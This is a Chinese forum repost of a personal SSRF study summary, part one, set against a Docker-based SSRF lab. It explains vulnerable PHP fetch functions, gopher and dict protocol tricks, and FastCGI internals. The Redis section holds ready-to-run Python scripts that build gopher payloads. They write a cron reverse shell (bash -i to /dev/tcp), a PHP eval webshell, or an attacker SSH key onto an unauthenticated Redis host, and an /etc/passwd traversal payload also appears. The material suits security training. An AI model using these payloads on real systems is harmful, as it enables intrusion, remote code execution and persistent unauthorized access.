安全矩阵

 找回密码
 立即注册
搜索
查看: 3912|回复: 0

学习一年的SSRF总结 (上)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-1-14 10:03:04 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2022-1-14 10:13 编辑

原文链接:学习一年的SSRF总结

SSRF-Labs配置有些初学者喜欢用这个靶场,讲下怎么搭建
我用的是Ubuntu18;docker和docker-compose配置可以参考vulhub官网的配置;下面是谷歌搜的
  1. <div>$ curl -sSL <a href="https://get.docker.com/" target="_blank">https://get.docker.com/</a> | sh #脚本安装docker</div><div>$ apt install docker-compose #安装docker compose</div>
复制代码

Basic关和其他关类似,都有Dockerfile文件,按下图指令参考就好了
  1. $ cd ~/ssrf-lab/basics #进入basics文件夹
  2. $ docker build -t ssrf-lab/basic . #构建镜像
  3. $ docker run -d -p 8999:80 ssrf-lab/basic #创建容器
  4. $ docker ps #查看ssrf-lab/basic容器编号
  5. $ docker stop [容器编号] #关闭容器
复制代码


查看源码,进入容器的命令如下
  1. $ sudo docker ps  
  2. $ sudo docker exec -it 编号 /bin/bash
复制代码


在Advances系列、Ctf系列中没有dockerfile文件,但有docker-compose.yml文件,这时候我们就要在构建镜像的时候就换docker-compose来创建镜像并开启容器了。例如
  1. $ cd ~/ssrf-lab/advanced1 # 进入advanced1目录下
  2. $ docker-compose up -d #开启容器
  3. $ docker-compose down #关闭容器
复制代码


平常也得按时清理:
  1. docker rm $(docker ps -a -q)
  2. docker rmi $(docker images -q)
  3. #第一个是删除所有容器 第二个是删除所有镜像
复制代码


基础相关函数和类File_Get_Contents
  1. // ssrf.php
  2. <?php
  3. $url = $_GET['url'];;
  4. echo file_get_contents($url);
  5. ?>
复制代码


上述测试代码中,file_get_contents() 函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户,我们构造类似ssrf.php?url=../../../../../etc/passwd的paylaod即可读取服务器本地的任意文件。

readfile()函数与file_get_contents()函数相似。
Fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。
PS:上过C的网络编程应该很清楚
  1. // ssrf.php
  2. <?php
  3. $host=$_GET['url'];
  4. $fp = fsockopen($host, 80, $errno, $errstr, 30);
  5. if (!$fp) {
  6.     echo "$errstr ($errno)<br />\n";
  7. } else {
  8.     $out = "GET / HTTP/1.1\r\n";
  9.     $out .= "Host: $host\r\n";
  10.     $out .= "Connection: Close\r\n\r\n";
  11.     fwrite($fp, $out);
  12.     while (!feof($fp)) {
  13.         echo fgets($fp, 128);
  14.     }
  15.     fclose($fp);
  16. }
  17. ?>
复制代码


构造ssrf.php?url=www.baidu.com即可成功触发ssrf并返回百度主页:

Curl_exec()
curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
  1. // ssrf.php
  2. <?php
  3. if (isset($_GET['url'])){
  4.     $link = $_GET['url'];
  5.     $curlobj = curl_init(); // 创建新的 cURL 资源
  6.     curl_setopt($curlobj, CURLOPT_POST, 0);
  7.     curl_setopt($curlobj,CURLOPT_URL,$link);
  8.     curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
  9.     $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
  10.     curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

  11.     // $filename = './curled/'.rand().'.txt';
  12.     // file_put_contents($filename, $result);
  13.     echo $result;
  14. }
  15. ?>
复制代码


构造ssrf.php?url=www.baidu.com即可成功触发ssrf并返回百度主页:
<img src=”https://wwf-image.oss-cn-hangzho ... OWA_TOP10/SSRF/Labs基础和实例/基础-3.png” alt=”image-20210830152406477″ style=”zoom:50%;” />
SoapClient
SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。
SoapClient是一个php的内置类,当其进行反序列化时,如果触发了该类中的__call方法,那么__call便方法可以发送HTTP和HTTPS请求。该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  •         第一个参数是用来指明是否是wsdl模式。
  •         第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而 uri 是SOAP服务的目标命名空间。
知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数为一个包含location和uri的数组,location选项的值设置为target_url:
  1. // ssrf.php<?php$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.72:2333', 'location'=>'http://47.xxx.xxx.72:2333/aaa'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?><img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码


47.xxx.xxx.72监听2333端口,访问ssrf.php,即可在47.xxx.xxx.72上得到访问的数据:

如上图所示,ssrf触发成功。
由于它仅限于http/https协议,所以用处不是很大。但是如果这里的http头部还存在crlf漏洞,那么我们就可以进行ssrf+crlf,注入或修改一些http请求头。见详情
SSRF漏洞利用的相关协议SSRF漏洞的利用所涉及的协议有:
  •         file协议:在有回显的情况下,利用 file 协议可以读取任意文件的内容
  •         dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
  •         gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
  •         http/s协议:探测内网主机存活
以这俩文件为本章的实验文件

File协议读取本地文件用的

HTTP协议探测一下内网活着的主机(但是很多不会开Http协议,没多大用)
抓一下包,丢BP里面探测一下就行(我自己靶场没写那逻辑,写个思路就行)


Dict协议结合端口探测内网服务
比如看看Mysql(这个是需要授权导致的错误,后面会讲)

看看Redis(未授权访问成功的样子)

Gopher协议定义
​​
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
限制
gopher协议在各个编程语言中的使用限制

—wite-curlwrappers选项含义:运用curl工具打开url流
curl使用curl —version查看版本以及支持的协议

Curl的所需参数是一个URL,即URLEncode后的链接(重点)
格式
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  •         gopher的默认端口是70
  •         如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码(详细注意事项见下)
Gopher发送Get请求
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
可能还没明白:sweat_smile:,写了个脚本直接转换,结果直接复制到BP即可;data是你的报文
  1. import reimport urllib.parsedata=\    '''GET /try.php?a=Wan&b=Zifeng HTTP/1.1Host: 192.168.0.130:8201Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close'''data=urllib.parse.quote(data)strinfo=re.compile('%0A',re.I)new=strinfo.sub('%0D%0A',data)new='gopher://192.168.0.130:8201/_'+new+'%0D%0A'new=urllib.parse.quote(new)with open('Result.txt','w') as f:    f.write(new)with open('Result.txt','r') as f:    for line in f.readlines():        print(line.strip())<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码



因为BP是抓取浏览器URLEncode编码后的数据,所以我们得对整个gopher协议进行二次编码
这样到达服务器一次解码得到的就是
  1. gopher://192.168.0.130:8201/_GET%20/try.php%3Fa%3DWan%26b%3DZifeng%20HTTP/1.1%0D%0AHost%3A%20192.168.0.130%3A8201%0D%0ACache-Control%3A%20max-age%3D0%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20×64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/92.0.4515.159%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/apng%2C%2A/%2A%3Bq%3D0.8%2Capplication/signed-exchange%3Bv%3Db3%3Bq%3D0.9%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%0D%0AConnection%3A%20close%0D%0A
复制代码


这样就是可以正常解析的URL(Gopher发送的TCP数据流要求是URLEncode后的,毕竟是伪协议嘛),丢给Curl函数执行完事
Gopher发送POST请求
和GET请求一样,放入脚本编码后即可放到URL中

如果改成了POST格式捏?

如果是Content-type为application/x-www-form-urlencoded,那么POST数据也应进行二次编码(该选项含义就是URL编码后的数据)

form-data的话就不需要
使用注意事项
  •         大部分 PHP 并不会开启 fopen 的 gopher wrapper
  •         file_get_contents 的 gopher 协议不能 URLencode
  •         file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  •         PHP 的 curl 默认不 follow 302 跳转
  •         curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
Redis未授权攻击概念如下
​​
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
  •         redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
  •         没有设置密码认证(默认为空),可以免密码远程登录redis服务。
在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等…..
思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。
Redis发送的数据这个不知道为啥做不出来,嫖了一下图:joy:
有如下环境
0.101 攻击者
0.100 redis 服务器
0.104 web 服务器
首先要搞清楚访问 redis 时每次发送的数据是怎样的,所以先用 socat 监听 4444 端口,将 redis 的 6379 端口转发至 4444 来监听 gopher 访问 redis 的流量:
// redis 服务器执行$ socat -v tcp-listen:4444,fork tcp-connect:192.168.0.100:6379
然后在攻击机 redis-cli 连接 redis 服务器的 4444 端口,运行一些常见指令,这里 redis 的密码是 123456。

命令依次是输入密码、显示所有键,输出 name 键的值。
查看 redis 服务器,得到的回显如下:

那么,如果我们构造 gopher 的 DATA 也是这种格式的话,就可以获取到数据。借助 web 服务器利用 SSRF 就可以达到攻击内网 redis 的目的。
但是!实战中最好一次一条指令,url 过长会导致抛出 UnicodeError: label empty or too long的异常
PS:其实我总结一下很简单..:joy_cat:
每次发的命令字符串都是以空格为分隔符被分成数组,比如auth 123456就变成[‘auth’,’123456’]
第一行是*+数组长度
然后就是\$+字符串长度,比如auth长度为四,那么第一行就是\$4,第二行就是auth
123456长度为六,第一行就是\$6,第二行就是123456
攻击:写进定时任务必须用Centos起Redis,权限问题;不然无法反弹
攻击机发送给有SSRF的Win2003,IP见虚拟机环境
主要靠下面几条Redis命令
flushallset 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave
第一条是清空Redis所有数据
第二条设置键名为1,键值为反弹shell
第三条设置Redis文件存储目录为Centos下的计划任务目录
第四条设置Redis存储文件名
第五条保存设置
根据命令,自写计划任务反弹Shell的py脚本,参数你们都看得懂= =
  1. import urllib.parseprotocol="gopher://"ip="192.168.0.129"port="6379"reverse_ip="192.168.0.132"reverse_port="2333"cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron"passwd=""cmd=["flushall",     "set 1 {}".format(cron.replace(" ","${IFS}")),     "config set dir {}".format(path),     "config set dbfilename {}".format(filename),     "save"     ]if passwd:    cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):    CRLF="\r\n"    redis_arr = arr.split(" ")    cmd=""    cmd+="*"+str(len(redis_arr))    for x in redis_arr:        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")    cmd+=CRLF    return cmdif __name__=="__main__":    for x in cmd:        payload += urllib.parse.quote(redis_format(x))    payload=urllib.parse.quote(payload)    with open('Result.txt','w') as f:        f.write(payload)    with open("Result.txt","r") as f:        for line in f.readlines():            print(line.strip())<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码


发送!

Centos就能看见产生了计划任务

Kali也接收到了反弹Shell

URL二次解码后,能看到传过去的命令

第二次虚拟环境
攻击机 192.168.0.128
Win_2003 192.168.0.130
Centos 192.168.0.141
Kali 192.168.0.132
Ubuntu 192.168.0.142
攻击:绝对路径写Webshell当然这个很少见了,开Redis的内网服务器会开Web服务么= =
需要执行的Redis命令如下
flushallset 1 '<?php eval($_POST["cmd"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave
然后生成命令的脚本
  1. import urllib.parseprotocol="gopher://"ip="192.168.0.141"port="6379"shell="\n\n<?php eval($_POST["cmd"]);?>\n\n"filename="shell.php"path="/var/www/"passwd=""cmd=["flushall",     "set 1 {}".format(shell.replace(" ","${IFS}")),     "config set dir {}".format(path),     "config set dbfilename {}".format(filename),     "save"     ]if passwd:    cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):    CRLF="\r\n"    redis_arr = arr.split(" ")    cmd=""    cmd+="*"+str(len(redis_arr))    for x in redis_arr:        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")    cmd+=CRLF    return cmdif __name__=="__main__":    for x in cmd:        payload += urllib.parse.quote(redis_format(x))    payload=urllib.parse.quote(payload)    with open('Result.txt','w') as f:        f.write(payload)    with open("Result.txt","r") as f:        for line in f.readlines():            print(line.strip())<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码


然后发包

已经写入了Web目录~
​​

攻击:写入SSH公钥使用ssh-keygen -t rsa生成公钥和私钥。RSA加密算法就是公钥加密,私钥解密;所以我们要把公钥给服务器,然后用自己私钥登录即可。(如果redis那台服务器没有目录的话一定要想办法生成好,不然会报路径错误)

我们需要执行老样子的Redis命令
flushallset 1 '公钥'config set dir /root/.ssh/config set dbfilename authorized_keyssave
还是老样子的脚本
  1. import urllib.parseprotocol="gopher://"ip="192.168.0.141"port="6379"ssh_pub="ssh-rsa AAAAB3NzaC1yc2EAAAADAQ"+\    "ABAAABAQC8YIKqm8JZRdoi2FCY97+fNp+lT"+\    "CEwoPPoBGOKLLWYeeKsm3gRNy7kmHx1IHhsm"+\    "yIknEcbQCciBx41Ln+1SIbEqYVFksHNxk8xG"+\    "iaxjsUOYATqQ1Lkq/ZMxKAzpq08uGp17URbJmv3JtuKEkHPdEHDqvBQJLUVJCCvAm86Yer8y663BFxRv5AXwSkCYquL"+\    "P7XvG6yyYATdoRPJCdqjTtsGIlpJOH4gMfEhZOxKsLzwZJIWYose2BEA1REM7Nfxx2Oqva/hSErf5RqXgXXSWC3/jBlz"+\    "P2xof1a4CDRL9LoKLLTwUFQKWSMfnjMKYH3+uZIg4MyUAdWWwubEhpS6lpJd wzf@wzf-virtual-machine"filename="authorized_keys"path="/root/.ssh/"passwd=""cmd=["flushall",     "set 1 {}".format(ssh_pub.replace(" ","${IFS}")),     "config set dir {}".format(path),     "config set dbfilename {}".format(filename),     "save"     ]if passwd:    cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):    CRLF="\r\n"    redis_arr = arr.split(" ")    cmd=""    cmd+="*"+str(len(redis_arr))    for x in redis_arr:        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")    cmd+=CRLF    return cmdif __name__=="__main__":    for x in cmd:        payload += urllib.parse.quote(redis_format(x))    payload=urllib.parse.quote(payload)    with open('Result.txt','w') as f:        f.write(payload)    with open("Result.txt","r") as f:        for line in f.readlines():            print(line.strip())<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码


出现这个就说明写入成功了

然后SSH连接即可
FAST-CGI攻击CGIApache和PHP有很多交互方式,主要有module、cgi和fastcgi模式三种
CGI模式下,此时 php 是一个独立的进程比如 php-cgi.exe,web 服务器也是一个独立的进程比如 apache.exe,然后当 Web 服务器监听到 HTTP 请求时,会去调用 php-cgi 进程,他们之间通过 cgi 协议,服务器把请求内容转换成 php-cgi 能读懂的协议数据传递给 cgi 进程,cgi 进程拿到内容就会去解析对应 php 文件,得到的返回结果在返回给 web 服务器,最后 web 服务器返回到客户端,但随着网络技术的发展,CGI 方式的缺点也越来越突出。每次客户端请求都需要建立和销毁进程。因为 HTTP 要生成一个动态页面,系统就必须启动一个新的进程以运行 CGI 程序,不断地 fork 是一项很消耗时间和资源的工作。
FASTCGI概述
fastcgi 本身是一个协议,在 cgi 协议上进行了一些优化,众所周知,CGI 进程的反复加载是 CGI 性能低下的主要原因,如果 CGI 解释器保持在内存中 并接受 FastCGI 进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over 特性等等。简而言之,CGI 模式是 apache2 接收到请求去调用 CGI 程序,而 fastcgi 模式是 fastcgi 进程自己管理自己的 cgi 进程,而不再是 apache 去主动调用 php-cgi,而 fastcgi 进程又提供了很多辅助功能比如内存管理,垃圾处理,保障了 cgi 的高效性,并且 CGI 此时是常驻在内存中,不会每次请求重新启动
FastCGI Record
Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。
HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。
类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下:
  1. typedef struct {      /* Header */      unsigned char version; // 版本      unsigned char type; // 本次record的类型      unsigned char requestIdB1; // 本次record对应的请求id      unsigned char requestIdB0;  unsigned char contentLengthB1; // body体的大小      unsigned char contentLengthB0;  unsigned char paddingLength; // 额外块大小      unsigned char reserved;       /* Body */      unsigned char contentData[contentLength];      unsigned char paddingData[paddingLength];} FCGI_Record;<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码


头由8个uchar类型的变量组成,每个变量1字节。其中,requestId占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength占两个字节,表示body的大小。
语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。
Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。
可见,一个fastcgi record结构最大支持的body大小是2^16^,也就是65536字节
FastCGI Type
Type就是指定该record的作用。因为fastcgi一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。
也就是说,每次请求,会有多个record,他们的requestId是相同的。
借用该文章中的一个表格,列出最主要的几种type(其他杂七杂八的上网查吧):
[td]               
type值主要含义
1在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息
2异常断开与php-fpm的交互
3在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
4在交互过程中给php-fpm传递环境参数时,将type设为此,以表明消息中包含的数据为某个name-value对
5web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6php-fpm给web服务器回的正常响应消息的type就设为6
7php-fpm给web服务器回的错误响应设为7
看了这个表格就很清楚了,服务器中间件和后端语言通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record。
当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。环境变量的结构如下:
  1. typedef struct {      unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */      unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */     unsigned char nameData[nameLength];      unsigned char valueData[valueLength];} FCGI_NameValuePair11;typedef struct {      unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */      unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */      unsigned char valueLengthB2;      unsigned char valueLengthB1;      unsigned char valueLengthB0;      unsigned char nameData[nameLength];      unsigned char valueData[valueLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair14;typedef struct {      unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */      unsigned char nameLengthB2;      unsigned char nameLengthB1;     unsigned char nameLengthB0;      unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */      unsigned char nameData[nameLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];      unsigned char valueData[valueLength];} FCGI_NameValuePair41;typedef struct {      unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */      unsigned char nameLengthB2;      unsigned char nameLengthB1;     unsigned char nameLengthB0;      unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */      unsigned char valueLengthB2;      unsigned char valueLengthB1;      unsigned char valueLengthB0;      unsigned char nameData[nameLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];      unsigned char valueData[valueLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair44;<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码


这其实是4个结构,至于用哪个结构,有如下规则:
  •         key、value均小于128字节,用FCGI_NameValuePair11
  •         key大于128字节,value小于128字节,用FCGI_NameValuePair41
  •         key小于128字节,value大于128字节,用FCGI_NameValuePair14
  •         key、value均大于128字节,用FCGI_NameValuePair44
为什么我只介绍type为4的record?因为环境变量在后面PHP-FPM里有重要作用,之后写代码也会写到这个结构。type的其他情况,看官方文档吧。
PHP-FPM(Fast-CGI进程管理器)概述
(其实下图的PHP解释器是狭义上的,意为“解释PHP”,而非解释器;真正的存在于PHP-CGI)

php-fpm 是一个实现和管理 fastcgi 协议的进程,fastcgi 模式的内存管理等功能,都是由 php-fpm 进程所实现的;本质上 fastcgi 模式也只是对 cgi 模式做了一个封装,只是从原来 web 服务器去调用 cgi 程序变成了 web 服务器通知 php-fpm 进程并由 php-fpm 进程去调用 php-cgi 程序。
​​
也就是说,FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM,FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
  1. {    'GATEWAY_INTERFACE': 'FastCGI/1.0',    'REQUEST_METHOD': 'GET',    'SCRIPT_FILENAME': '/var/www/html/index.php',    'SCRIPT_NAME': '/index.php',    'QUERY_STRING': '?a=1&b=2',    'REQUEST_URI': '/index.php?a=1&b=2',    'DOCUMENT_ROOT': '/var/www/html',    'SERVER_SOFTWARE': 'php/fcgiclient',    'REMOTE_ADDR': '127.0.0.1',    'REMOTE_PORT': '12345',    'SERVER_ADDR': '127.0.0.1',    'SERVER_PORT': '80',    'SERVER_NAME': "localhost",    'SERVER_PROTOCOL': 'HTTP/1.1'}<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码


这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php。
FPM的模式
不同搭建环境配置文件位置不同,最好手工搭建!类似phpstudy和宝塔面板等很多安全选项会进行删割
从此处开始均为手动搭建的环境!搭建方法见文末
非标注的环境,均为手工搭建
TCP 模式
TCP 模式即是 php-fpm 进程会监听本机上的一个端口(默认 9000),然后 nginx 会把客户端数据通过 fastcgi 协议传给 9000 端口,php-fpm 拿到数据后会调用 cgi 进程解析
nginx的配置文件像这个样子:
  1. <blockquote>/etc/nginx/sites-available/default
复制代码


Windows下的配置如图(PHPstudy弄的)

php-fpm 的配置文件像这个样子
/etc/php/7.3/fpm/pool.d/www.conf
listen=127.0.0.1:9000
Unix Socket
unix socket 其实严格意义上应该叫 unix domain socket,它是 unix 系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为 socket 的唯一标识(描述符),需要通信的两个进程引用同一个 socket 描述符文件就可以建立通道进行通信了。
具体原理这里就不讲了,但是此通信方式的性能会优于 TCP
位置同上

  1. location~\.php${      index index.php index.html index.htm;      include /etc/nginx/fastcgi_params;      fastcgi_pass unix:/run/php/php7.3-fpm.sock;      fastcgi_index index.php;      include fastcgi_params;}<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码


位置同上
listen = /run/php/php7.3-fpm.sock
Nginx和IIS7的解析漏洞Nginx和IIS7曾经出现过一个PHP相关的解析漏洞,该漏洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php时,访问到的文件是favicon.ico,但却按照.php后缀解析了。
用户请求http://127.0.0.1/favicon.ico/.php,nginx将会发送如下环境变量到fpm里:
  1. {    ...    'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',    'SCRIPT_NAME': '/favicon.ico/.php',    'REQUEST_URI': '/favicon.ico/.php',    'DOCUMENT_ROOT': '/var/www/html',    ...}<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码


正常来说,SCRIPT_FILENAME的值是一个不存在的文件/var/www/html/favicon.ico/.php,是PHP设置中的一个选项fix_pathinfo导致了这个漏洞。PHP为了支持Path Info模式而创造了fix_pathinfo,在这个选项被打开的情况下,fpm会判断SCRIPT_FILENAME是否存在,如果不存在则去掉最后一个/及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在。
所以,第一次fpm发现/var/www/html/favicon.ico/.php不存在,则去掉/.php,再判断/var/www/html/favicon.ico是否存在。显然这个文件是存在的,于是被作为PHP文件执行,导致解析漏洞。
正确的解决方法有两种,一是在Nginx端使用fastcgi_split_path_info将path info信息去除后,用tryfiles判断文件是否存在;二是借助PHP-FPM的security.limit_extensions配置项,避免其他后缀文件被解析。
Security.Limit_Extensions配置项PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
